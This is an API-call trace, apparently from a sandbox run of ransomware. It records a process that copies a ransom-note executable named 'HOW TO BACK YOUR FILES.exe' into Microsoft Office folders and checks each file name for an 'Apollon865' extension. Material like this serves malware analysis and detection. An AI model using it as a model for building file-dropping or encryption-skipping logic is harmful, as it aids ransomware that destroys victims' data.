	[0071.487] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\groove.net\\ManagedObjects\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a95a430, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x42aed030, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x42aed030, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca250
	[0071.487] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0071.487] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0071.487] lstrcpyW (in: lpString1=0x2d3e602, lpString2="SignedManagedObjects.cer" | out: lpString1="SignedManagedObjects.cer") returned="SignedManagedObjects.cer"
	[0071.487] lstrlenW (lpString="SignedManagedObjects.cer") returned 24
	[0071.487] lstrlenW (lpString="Apollon865") returned 10
	[0071.487] lstrcmpiW (lpString1="bjects.cer", lpString2="Apollon865") returned 1
	[0071.487] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\groove.net\\Components", iMaxLength=260 | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\groove.net\\Components") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\groove.net\\Components"
	[0071.487] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5a3168 | out: hHeap=0x580000) returned 1
	[0071.487] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fcc8 | out: hHeap=0x580000) returned 1
	[0071.487] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\groove.net\\Components") returned 84
	[0071.488] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\groove.net\\Components" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\groove.net\\Components") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\groove.net\\Components"
	[0071.488] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0071.488] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\groove.net\\Components\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\certificates\\groove.net\\components\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0071.495] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0071.495] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\groove.net\\Components\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6d2c00d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x42aed030, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x42aed030, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca250
	[0071.495] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0071.496] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0071.496] lstrcpyW (in: lpString1=0x2d3e5fa, lpString2="SignedComponents.cer" | out: lpString1="SignedComponents.cer") returned="SignedComponents.cer"
	[0071.496] lstrlenW (lpString="SignedComponents.cer") returned 20
	[0071.496] lstrlenW (lpString="Apollon865") returned 10
	[0071.496] lstrcmpiW (lpString1="onents.cer", lpString2="Apollon865") returned 1
	[0071.496] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files\\Microsoft Office\\Office14\\FORMS", iMaxLength=260 | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\FORMS") returned="C:\\Program Files\\Microsoft Office\\Office14\\FORMS"
	[0071.496] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a040 | out: hHeap=0x580000) returned 1
	[0071.496] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fd48 | out: hHeap=0x580000) returned 1
	[0071.496] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS") returned 48
	[0071.496] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Microsoft Office\\Office14\\FORMS" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\FORMS") returned="C:\\Program Files\\Microsoft Office\\Office14\\FORMS"
	[0071.496] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0071.496] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0071.506] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0071.506] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xccc730, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x42b13190, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x42b13190, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca250
	[0071.506] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0071.506] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0071.506] lstrcpyW (in: lpString1=0x2d3e5b2, lpString2="1033" | out: lpString1="1033") returned="1033"
	[0071.506] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fd48
	[0071.506] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x6c) returned 0x59ab78
	[0071.506] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fd50 | out: ListHead=0x5b76b0, ListEntry=0x59fd50) returned 0x59fd90
	[0071.506] FindNextFileW (in: hFindFile=0x5ca250, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x42b13190, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x42b13190, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0071.506] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0071.507] FindNextFileW (in: hFindFile=0x5ca250, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x42b13190, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x42b13190, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 0
	[0071.507] FindClose (in: hFindFile=0x5ca250 | out: hFindFile=0x5ca250) returned 1
	[0071.507] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x59fd50
	[0071.507] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033", iMaxLength=260 | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033") returned="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033"
	[0071.507] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59ab78 | out: hHeap=0x580000) returned 1
	[0071.507] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fd48 | out: hHeap=0x580000) returned 1
	[0071.507] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033") returned 53
	[0071.507] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033") returned="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033"
	[0071.507] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0071.507] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0071.513] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0071.513] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xccc730, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x42b13190, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x42b13190, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca250
	[0071.513] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0071.513] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0071.513] lstrcpyW (in: lpString1=0x2d3e5bc, lpString2="ACTIVITL.ICO" | out: lpString1="ACTIVITL.ICO") returned="ACTIVITL.ICO"
	[0071.513] lstrlenW (lpString="ACTIVITL.ICO") returned 12
	[0071.514] lstrlenW (lpString="Apollon865") returned 10
	[0071.514] lstrcmpiW (lpString1="TIVITL.ICO", lpString2="Apollon865") returned 1
	[0071.514] lstrcpyW (in: lpString1=0x2d3e5bc, lpString2="ACTIVITS.ICO" | out: lpString1="ACTIVITS.ICO") returned="ACTIVITS.ICO"
	[0071.514] lstrlenW (lpString="ACTIVITS.ICO") returned 12
	[0071.514] lstrlenW (lpString="Apollon865") returned 10
	[0071.514] lstrcmpiW (lpString1="TIVITS.ICO", lpString2="Apollon865") returned 1
	[0071.514] lstrcpyW (in: lpString1=0x2d3e5bc, lpString2="ACTIVITY.CFG" | out: lpString1="ACTIVITY.CFG") returned="ACTIVITY.CFG"
	[0071.514] lstrlenW (lpString="ACTIVITY.CFG") returned 12
	[0071.514] lstrlenW (lpString="Apollon865") returned 10
	[0071.514] lstrcmpiW (lpString1="TIVITY.CFG", lpString2="Apollon865") returned 1
	[0071.514] lstrcpyW (in: lpString1=0x2d3e5bc, lpString2="APPT.CFG" | out: lpString1="APPT.CFG") returned="APPT.CFG"
	[0071.514] lstrlenW (lpString="APPT.CFG") returned 8
	[0071.514] lstrlenW (lpString="Apollon865") returned 10
	[0071.514] lstrcpyW (in: lpString1=0x2d3e5bc, lpString2="APPTL.ICO" | out: lpString1="APPTL.ICO") returned="APPTL.ICO"
	[0071.514] lstrlenW (lpString="APPTL.ICO") returned 9
	[0071.514] lstrlenW (lpString="Apollon865") returned 10
	[0071.514] lstrcpyW (in: lpString1=0x2d3e5bc, lpString2="APPTS.ICO" | out: lpString1="APPTS.ICO") returned="APPTS.ICO"
	[0071.514] lstrlenW (lpString="APPTS.ICO") returned 9
	[0071.514] lstrlenW (lpString="Apollon865") returned 10
	[0071.514] lstrcpyW (in: lpString1=0x2d3e5bc, lpString2="CNFNOT.CFG" | out: lpString1="CNFNOT.CFG") returned="CNFNOT.CFG"
	[0071.514] lstrlenW (lpString="CNFNOT.CFG") returned 10
	[0071.514] lstrlenW (lpString="Apollon865") returned 10
	[0071.515] lstrcpyW (in: lpString1=0x2d3e5bc, lpString2="CNFNOT.ICO" | out: lpString1="CNFNOT.ICO") returned="CNFNOT.ICO"
	[0071.515] lstrlenW (lpString="CNFNOT.ICO") returned 10
	[0071.515] lstrlenW (lpString="Apollon865") returned 10
	[0071.515] lstrcpyW (in: lpString1=0x2d3e5bc, lpString2="CNFRES.CFG" | out: lpString1="CNFRES.CFG") returned="CNFRES.CFG"
	[0071.515] lstrlenW (lpString="CNFRES.CFG") returned 10
	[0071.515] lstrlenW (lpString="Apollon865") returned 10
	[0071.515] lstrcpyW (in: lpString1=0x2d3e5bc, lpString2="CONFLICT.ICO" | out: lpString1="CONFLICT.ICO") returned="CONFLICT.ICO"
	[0071.515] lstrlenW (lpString="CONFLICT.ICO") returned 12
	[0071.515] lstrlenW (lpString="Apollon865") returned 10
	[0071.515] lstrcmpiW (lpString1="NFLICT.ICO", lpString2="Apollon865") returned 1
	[0071.515] lstrcpyW (in: lpString1=0x2d3e5bc, lpString2="CONTACT.CFG" | out: lpString1="CONTACT.CFG") returned="CONTACT.CFG"
	[0071.515] lstrlenW (lpString="CONTACT.CFG") returned 11
	[0071.515] lstrlenW (lpString="Apollon865") returned 10
	[0071.515] lstrcmpiW (lpString1="ONTACT.CFG", lpString2="Apollon865") returned 1
	[0071.515] lstrcpyW (in: lpString1=0x2d3e5bc, lpString2="CONTACTL.ICO" | out: lpString1="CONTACTL.ICO") returned="CONTACTL.ICO"
	[0071.515] lstrlenW (lpString="CONTACTL.ICO") returned 12
	[0071.515] lstrlenW (lpString="Apollon865") returned 10
	[0071.515] lstrcmpiW (lpString1="NTACTL.ICO", lpString2="Apollon865") returned 1
	[0071.515] lstrcpyW (in: lpString1=0x2d3e5bc, lpString2="CONTACTS.ICO" | out: lpString1="CONTACTS.ICO") returned="CONTACTS.ICO"
	[0071.515] lstrlenW (lpString="CONTACTS.ICO") returned 12
	[0071.515] lstrlenW (lpString="Apollon865") returned 10
	[0071.515] lstrcmpiW (lpString1="NTACTS.ICO", lpString2="Apollon865") returned 1
	[0071.516] lstrcpyW (in: lpString1=0x2d3e5bc, lpString2="DISTLIST.CFG" | out: lpString1="DISTLIST.CFG") returned="DISTLIST.CFG"
	[0071.516] lstrlenW (lpString="DISTLIST.CFG") returned 12
	[0071.516] lstrlenW (lpString="Apollon865") returned 10
	[0071.516] lstrcmpiW (lpString1="STLIST.CFG", lpString2="Apollon865") returned 1
	[0071.516] lstrcpyW (in: lpString1=0x2d3e5bc, lpString2="DISTLSTL.ICO" | out: lpString1="DISTLSTL.ICO") returned="DISTLSTL.ICO"
	[0071.516] lstrlenW (lpString="DISTLSTL.ICO") returned 12
	[0071.516] lstrlenW (lpString="Apollon865") returned 10
	[0071.516] lstrcmpiW (lpString1="STLSTL.ICO", lpString2="Apollon865") returned 1
	[0071.516] lstrcpyW (in: lpString1=0x2d3e5bc, lpString2="DISTLSTS.ICO" | out: lpString1="DISTLSTS.ICO") returned="DISTLSTS.ICO"
	[0071.516] lstrlenW (lpString="DISTLSTS.ICO") returned 12
	[0071.516] lstrlenW (lpString="Apollon865") returned 10
	[0071.516] lstrcmpiW (lpString1="STLSTS.ICO", lpString2="Apollon865") returned 1
	[0071.516] lstrcpyW (in: lpString1=0x2d3e5bc, lpString2="DOC.CFG" | out: lpString1="DOC.CFG") returned="DOC.CFG"
	[0071.516] lstrlenW (lpString="DOC.CFG") returned 7
	[0071.516] lstrlenW (lpString="Apollon865") returned 10
	[0071.516] lstrcpyW (in: lpString1=0x2d3e5bc, lpString2="DOCL.ICO" | out: lpString1="DOCL.ICO") returned="DOCL.ICO"
	[0071.516] lstrlenW (lpString="DOCL.ICO") returned 8
	[0071.516] lstrlenW (lpString="Apollon865") returned 10
	[0071.516] lstrcpyW (in: lpString1=0x2d3e5bc, lpString2="DOCS.ICO" | out: lpString1="DOCS.ICO") returned="DOCS.ICO"
	[0071.516] lstrlenW (lpString="DOCS.ICO") returned 8
	[0071.516] lstrlenW (lpString="Apollon865") returned 10
	[0071.516] lstrcpyW (in: lpString1=0x2d3e5bc, lpString2="EXITEM.CFG" | out: lpString1="EXITEM.CFG") returned="EXITEM.CFG"
	[0071.516] lstrlenW (lpString="EXITEM.CFG") returned 10
	[0071.517] lstrlenW (lpString="Apollon865") returned 10
	[0071.517] lstrcpyW (in: lpString1=0x2d3e5bc, lpString2="EXITEML.ICO" | out: lpString1="EXITEML.ICO") returned="EXITEML.ICO"
	[0071.517] lstrlenW (lpString="EXITEML.ICO") returned 11
	[0071.517] lstrlenW (lpString="Apollon865") returned 10
	[0071.517] lstrcmpiW (lpString1="XITEML.ICO", lpString2="Apollon865") returned 1
	[0071.517] lstrcpyW (in: lpString1=0x2d3e5bc, lpString2="EXITEMS.ICO" | out: lpString1="EXITEMS.ICO") returned="EXITEMS.ICO"
	[0071.517] lstrlenW (lpString="EXITEMS.ICO") returned 11
	[0071.517] lstrlenW (lpString="Apollon865") returned 10
	[0071.517] lstrcmpiW (lpString1="XITEMS.ICO", lpString2="Apollon865") returned 1
	[0071.517] lstrcpyW (in: lpString1=0x2d3e5bc, lpString2="INFOMAIL.CFG" | out: lpString1="INFOMAIL.CFG") returned="INFOMAIL.CFG"
	[0071.517] lstrlenW (lpString="INFOMAIL.CFG") returned 12
	[0071.517] lstrlenW (lpString="Apollon865") returned 10
	[0071.517] lstrcmpiW (lpString1="FOMAIL.CFG", lpString2="Apollon865") returned 1
	[0071.517] lstrcpyW (in: lpString1=0x2d3e5bc, lpString2="INFOML.ICO" | out: lpString1="INFOML.ICO") returned="INFOML.ICO"
	[0071.517] lstrlenW (lpString="INFOML.ICO") returned 10
	[0071.517] lstrlenW (lpString="Apollon865") returned 10
	[0071.517] lstrcpyW (in: lpString1=0x2d3e5bc, lpString2="INFOMS.ICO" | out: lpString1="INFOMS.ICO") returned="INFOMS.ICO"
	[0071.517] lstrlenW (lpString="INFOMS.ICO") returned 10
	[0071.517] lstrlenW (lpString="Apollon865") returned 10
	[0071.517] lstrcpyW (in: lpString1=0x2d3e5bc, lpString2="IPM.CFG" | out: lpString1="IPM.CFG") returned="IPM.CFG"
	[0071.517] lstrlenW (lpString="IPM.CFG") returned 7
	[0071.517] lstrlenW (lpString="Apollon865") returned 10
	[0071.518] lstrcpyW (in: lpString1=0x2d3e5bc, lpString2="IPML.ICO" | out: lpString1="IPML.ICO") returned="IPML.ICO"
	[0071.518] lstrlenW (lpString="IPML.ICO") returned 8
	[0071.518] lstrlenW (lpString="Apollon865") returned 10
	[0071.518] lstrcpyW (in: lpString1=0x2d3e5bc, lpString2="IPMS.ICO" | out: lpString1="IPMS.ICO") returned="IPMS.ICO"
	[0071.518] lstrlenW (lpString="IPMS.ICO") returned 8
	[0071.518] lstrlenW (lpString="Apollon865") returned 10
	[0071.518] lstrcpyW (in: lpString1=0x2d3e5bc, lpString2="MMSL.ICO" | out: lpString1="MMSL.ICO") returned="MMSL.ICO"
	[0071.518] lstrlenW (lpString="MMSL.ICO") returned 8
	[0071.518] lstrlenW (lpString="Apollon865") returned 10
	[0071.518] lstrcpyW (in: lpString1=0x2d3e5bc, lpString2="MMSS.ICO" | out: lpString1="MMSS.ICO") returned="MMSS.ICO"
	[0071.518] lstrlenW (lpString="MMSS.ICO") returned 8
	[0071.518] lstrlenW (lpString="Apollon865") returned 10
	[0071.518] lstrcpyW (in: lpString1=0x2d3e5bc, lpString2="NOTE.CFG" | out: lpString1="NOTE.CFG") returned="NOTE.CFG"
	[0071.518] lstrlenW (lpString="NOTE.CFG") returned 8
	[0071.518] lstrlenW (lpString="Apollon865") returned 10
	[0071.518] lstrcpyW (in: lpString1=0x2d3e5bc, lpString2="NOTEL.ICO" | out: lpString1="NOTEL.ICO") returned="NOTEL.ICO"
	[0071.518] lstrlenW (lpString="NOTEL.ICO") returned 9
	[0071.518] lstrlenW (lpString="Apollon865") returned 10
	[0071.519] lstrcpyW (in: lpString1=0x2d3e5bc, lpString2="NOTES.ICO" | out: lpString1="NOTES.ICO") returned="NOTES.ICO"
	[0071.519] lstrlenW (lpString="NOTES.ICO") returned 9
	[0071.519] lstrlenW (lpString="Apollon865") returned 10
	[0071.520] lstrcpyW (in: lpString1=0x2d3e5bc, lpString2="OMSMMS.CFG" | out: lpString1="OMSMMS.CFG") returned="OMSMMS.CFG"
	[0071.520] lstrlenW (lpString="OMSMMS.CFG") returned 10
	[0071.520] lstrlenW (lpString="Apollon865") returned 10
	[0071.520] lstrcpyW (in: lpString1=0x2d3e5bc, lpString2="OMSSMS.CFG" | out: lpString1="OMSSMS.CFG") returned="OMSSMS.CFG"
	[0071.520] lstrlenW (lpString="OMSSMS.CFG") returned 10
	[0071.520] lstrlenW (lpString="Apollon865") returned 10
	[0071.520] lstrcpyW (in: lpString1=0x2d3e5bc, lpString2="OOFL.ICO" | out: lpString1="OOFL.ICO") returned="OOFL.ICO"
	[0071.520] lstrlenW (lpString="OOFL.ICO") returned 8
	[0071.520] lstrlenW (lpString="Apollon865") returned 10
	[0071.520] lstrcpyW (in: lpString1=0x2d3e5bc, lpString2="OOFS.ICO" | out: lpString1="OOFS.ICO") returned="OOFS.ICO"
	[0071.520] lstrlenW (lpString="OOFS.ICO") returned 8
	[0071.520] lstrlenW (lpString="Apollon865") returned 10
	[0071.520] lstrcpyW (in: lpString1=0x2d3e5bc, lpString2="OOFTMPL.CFG" | out: lpString1="OOFTMPL.CFG") returned="OOFTMPL.CFG"
	[0071.520] lstrlenW (lpString="OOFTMPL.CFG") returned 11
	[0071.520] lstrlenW (lpString="Apollon865") returned 10
	[0071.520] lstrcmpiW (lpString1="OFTMPL.CFG", lpString2="Apollon865") returned 1
	[0071.520] lstrcpyW (in: lpString1=0x2d3e5bc, lpString2="POST.CFG" | out: lpString1="POST.CFG") returned="POST.CFG"
	[0071.520] lstrlenW (lpString="POST.CFG") returned 8
	[0071.520] lstrlenW (lpString="Apollon865") returned 10
	[0071.520] lstrcpyW (in: lpString1=0x2d3e5bc, lpString2="POSTIT.CFG" | out: lpString1="POSTIT.CFG") returned="POSTIT.CFG"
	[0071.520] lstrlenW (lpString="POSTIT.CFG") returned 10
	[0071.520] lstrlenW (lpString="Apollon865") returned 10
	[0071.521] lstrcpyW (in: lpString1=0x2d3e5bc, lpString2="POSTITL.ICO" | out: lpString1="POSTITL.ICO") returned="POSTITL.ICO"
	[0071.521] lstrlenW (lpString="POSTITL.ICO") returned 11
	[0071.521] lstrlenW (lpString="Apollon865") returned 10
	[0071.521] lstrcmpiW (lpString1="OSTITL.ICO", lpString2="Apollon865") returned 1
	[0071.521] lstrcpyW (in: lpString1=0x2d3e5bc, lpString2="POSTITS.ICO" | out: lpString1="POSTITS.ICO") returned="POSTITS.ICO"
	[0071.521] lstrlenW (lpString="POSTITS.ICO") returned 11
	[0071.521] lstrlenW (lpString="Apollon865") returned 10
	[0071.521] lstrcmpiW (lpString1="OSTITS.ICO", lpString2="Apollon865") returned 1
	[0071.521] lstrcpyW (in: lpString1=0x2d3e5bc, lpString2="POSTL.ICO" | out: lpString1="POSTL.ICO") returned="POSTL.ICO"
	[0071.521] lstrlenW (lpString="POSTL.ICO") returned 9
	[0071.521] lstrlenW (lpString="Apollon865") returned 10
	[0071.521] lstrcpyW (in: lpString1=0x2d3e5bc, lpString2="POSTS.ICO" | out: lpString1="POSTS.ICO") returned="POSTS.ICO"
	[0071.521] lstrlenW (lpString="POSTS.ICO") returned 9
	[0071.521] lstrlenW (lpString="Apollon865") returned 10
	[0071.521] lstrcpyW (in: lpString1=0x2d3e5bc, lpString2="RCLRPT.CFG" | out: lpString1="RCLRPT.CFG") returned="RCLRPT.CFG"
	[0071.521] lstrlenW (lpString="RCLRPT.CFG") returned 10
	[0071.521] lstrlenW (lpString="Apollon865") returned 10
	[0071.521] lstrcpyW (in: lpString1=0x2d3e5bc, lpString2="REC.CFG" | out: lpString1="REC.CFG") returned="REC.CFG"
	[0071.521] lstrlenW (lpString="REC.CFG") returned 7
	[0071.521] lstrlenW (lpString="Apollon865") returned 10
	[0071.521] lstrcpyW (in: lpString1=0x2d3e5bc, lpString2="RECL.ICO" | out: lpString1="RECL.ICO") returned="RECL.ICO"
	[0071.522] lstrlenW (lpString="RECL.ICO") returned 8
	[0071.522] lstrlenW (lpString="Apollon865") returned 10
	[0071.522] lstrcpyW (in: lpString1=0x2d3e5bc, lpString2="RECS.ICO" | out: lpString1="RECS.ICO") returned="RECS.ICO"
	[0071.522] lstrlenW (lpString="RECS.ICO") returned 8
	[0071.522] lstrlenW (lpString="Apollon865") returned 10
	[0071.522] lstrcpyW (in: lpString1=0x2d3e5bc, lpString2="REMOTE.CFG" | out: lpString1="REMOTE.CFG") returned="REMOTE.CFG"
	[0071.522] lstrlenW (lpString="REMOTE.CFG") returned 10
	[0071.522] lstrlenW (lpString="Apollon865") returned 10
	[0071.522] lstrcpyW (in: lpString1=0x2d3e5bc, lpString2="REMOTEL.ICO" | out: lpString1="REMOTEL.ICO") returned="REMOTEL.ICO"
	[0071.522] lstrlenW (lpString="REMOTEL.ICO") returned 11
	[0071.522] lstrlenW (lpString="Apollon865") returned 10
	[0071.522] lstrcmpiW (lpString1="EMOTEL.ICO", lpString2="Apollon865") returned 1
	[0071.522] lstrcpyW (in: lpString1=0x2d3e5bc, lpString2="REMOTES.ICO" | out: lpString1="REMOTES.ICO") returned="REMOTES.ICO"
	[0071.522] lstrlenW (lpString="REMOTES.ICO") returned 11
	[0071.522] lstrlenW (lpString="Apollon865") returned 10
	[0071.522] lstrcmpiW (lpString1="EMOTES.ICO", lpString2="Apollon865") returned 1
	[0071.522] lstrcpyW (in: lpString1=0x2d3e5bc, lpString2="REPLTMPL.CFG" | out: lpString1="REPLTMPL.CFG") returned="REPLTMPL.CFG"
	[0071.522] lstrlenW (lpString="REPLTMPL.CFG") returned 12
	[0071.522] lstrlenW (lpString="Apollon865") returned 10
	[0071.522] lstrcmpiW (lpString1="PLTMPL.CFG", lpString2="Apollon865") returned 1
	[0071.522] lstrcpyW (in: lpString1=0x2d3e5bc, lpString2="REPORT.CFG" | out: lpString1="REPORT.CFG") returned="REPORT.CFG"
	[0071.522] lstrlenW (lpString="REPORT.CFG") returned 10
	[0071.522] lstrlenW (lpString="Apollon865") returned 10
	[0071.523] lstrcpyW (in: lpString1=0x2d3e5bc, lpString2="REPORTL.ICO" | out: lpString1="REPORTL.ICO") returned="REPORTL.ICO"
	[0071.523] lstrlenW (lpString="REPORTL.ICO") returned 11
	[0071.523] lstrlenW (lpString="Apollon865") returned 10
	[0071.523] lstrcmpiW (lpString1="EPORTL.ICO", lpString2="Apollon865") returned 1
	[0071.523] lstrcpyW (in: lpString1=0x2d3e5bc, lpString2="REPORTS.ICO" | out: lpString1="REPORTS.ICO") returned="REPORTS.ICO"
	[0071.523] lstrlenW (lpString="REPORTS.ICO") returned 11
	[0071.523] lstrlenW (lpString="Apollon865") returned 10
	[0071.523] lstrcmpiW (lpString1="EPORTS.ICO", lpString2="Apollon865") returned 1
	[0071.523] lstrcpyW (in: lpString1=0x2d3e5bc, lpString2="RESEND.CFG" | out: lpString1="RESEND.CFG") returned="RESEND.CFG"
	[0071.523] lstrlenW (lpString="RESEND.CFG") returned 10
	[0071.523] lstrlenW (lpString="Apollon865") returned 10
	[0071.523] lstrcpyW (in: lpString1=0x2d3e5bc, lpString2="RESENDL.ICO" | out: lpString1="RESENDL.ICO") returned="RESENDL.ICO"
	[0071.523] lstrlenW (lpString="RESENDL.ICO") returned 11
	[0071.523] lstrlenW (lpString="Apollon865") returned 10
	[0071.523] lstrcmpiW (lpString1="ESENDL.ICO", lpString2="Apollon865") returned 1
